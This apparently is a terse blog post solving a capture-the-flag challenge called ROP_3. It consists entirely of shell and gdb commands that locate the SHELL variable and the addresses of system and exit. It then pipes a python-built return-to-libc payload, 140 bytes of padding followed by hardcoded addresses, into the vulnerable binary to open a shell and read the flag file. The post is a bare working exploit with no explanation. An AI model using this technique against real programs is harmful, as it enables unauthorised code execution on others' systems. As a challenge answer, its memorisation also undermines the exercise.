$ cat /problems/ROP_3_7f3312fe43c46d26/rop3.c
$ export | grep SHELL
$ ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3
$ ./getenvaddr SHELL ./rop3
$ gdb rop3
(gdb) break main
(gdb) run
(gdb) print system
(gdb) print exit
$ (python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3
cat /problems/ROP_3_7f3312fe43c46d26/key
No comments:
Post a Comment